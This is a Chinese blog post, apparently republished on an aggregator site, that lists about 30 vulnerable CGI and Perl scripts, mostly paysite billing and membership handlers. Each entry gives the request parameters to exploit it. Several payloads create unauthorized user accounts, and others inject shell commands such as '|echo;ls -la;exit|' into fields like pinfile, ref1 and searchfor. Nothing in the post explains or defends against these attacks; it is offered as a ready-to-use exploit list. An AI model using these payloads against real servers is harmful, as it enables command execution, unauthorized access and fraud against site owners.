zoukankan      html  css  js  c++  java
  • [cgibin] 30个漏洞+使用方法

    /smspass.pl
    username=username&password=password

    /index.cgi
    wei=ren&gen=command

    /passmaster.cgi
    Action=Add&Username=Username&Password=Password

    /accountcreate.cgi
    username=username&password=password&ref1=|echo;ls|

    /form.cgi
    name=xxxx&email=email&subject=xxxx&response=|echo;ls|

    /addusr.pl
    /cgi-bin/EuroDebit/addusr.pl
    user=username&pass=Password&confirm=Password

    /ccbill-local.asp
    post_values=username:password

    /count.cgi
    pinfile=|echo;ls -la;exit|

    /recon.cgi
    /recon.cgi?search
    searchoption=1&searchfor=|echo;ls -al;exit|

    /verotelrum.pl
    vercode=username:password:dseegsow:add:amount<&30>

    /af.cgi
    _browser_out=|echo;ls -la;exit;|

    /modify.cgi
    username=username&password=password&expire=30

    /openjournal.cgi
    edit=1&ct=2&go=|echo;ls -al;exit|

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /probecontrol.cgi
    command=enable&username=username&password=password

    /recon.cgi
    searchoption=3&searchfor=echo;ls -la;exit

    /htadd.pl
    configfile=|echo; ls -alt; exit

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /ibill*.pl
    reqtype=add&authpwd=authpwd&username=username&password=password

    /cpay.cgi
    command=add_member&username=username(EMAIL)&password=password(DES)

    /globill_ut.cgi
    do=add&username=username&password=password&wpassword=password

    /usercontrol.cgi
    command=enable&username=USER&password=PASS

    /globoSALErum.cgi
    action=ADD&seccode=seccode&login=username&password=password

    /addusr.pl
    user=USER&pass=PASS&confirm=PASS

    /pincount.cgi
    /cgi-bin/mastergate/pincount.cgi
    pinfile=|echo;pwd;exit|

    /accountcreate.cgi
    /cgi-bin/gateway/accountcreate.cgi
    username=username&password=password&password2=password&ref1=|echo;ls -al;exit

    /af.cgi
    /env.cgi
    ADD+;echo;pwd;exit

    /count.cgi
    pinfile=|echo;pwd;exit|

    /recon.cgi
    searchoption=1&searchfor=|echo;ls%20-al;exit|

    /add.cgi
    username=username&password=password&expire=30

  • 相关阅读:
    Tomcat线程参数
    CDH平台规划注意事项
    python 不同数据类型的序列化
    Python 中__new__方法详解及使用
    线程生命周期
    如何在JAVA中每隔一段时间执行一段程序
    手动开启是事务提交回滚
    MySQL数据类型转换函数CAST与CONVERT的用法
    mybatis插入是返回主键id
    解决dubbo注册zookepper服务IP乱入问题的三种方式
  • 原文地址:https://www.cnblogs.com/zhouwenwu/p/2430938.html
Copyright © 2011-2022 走看看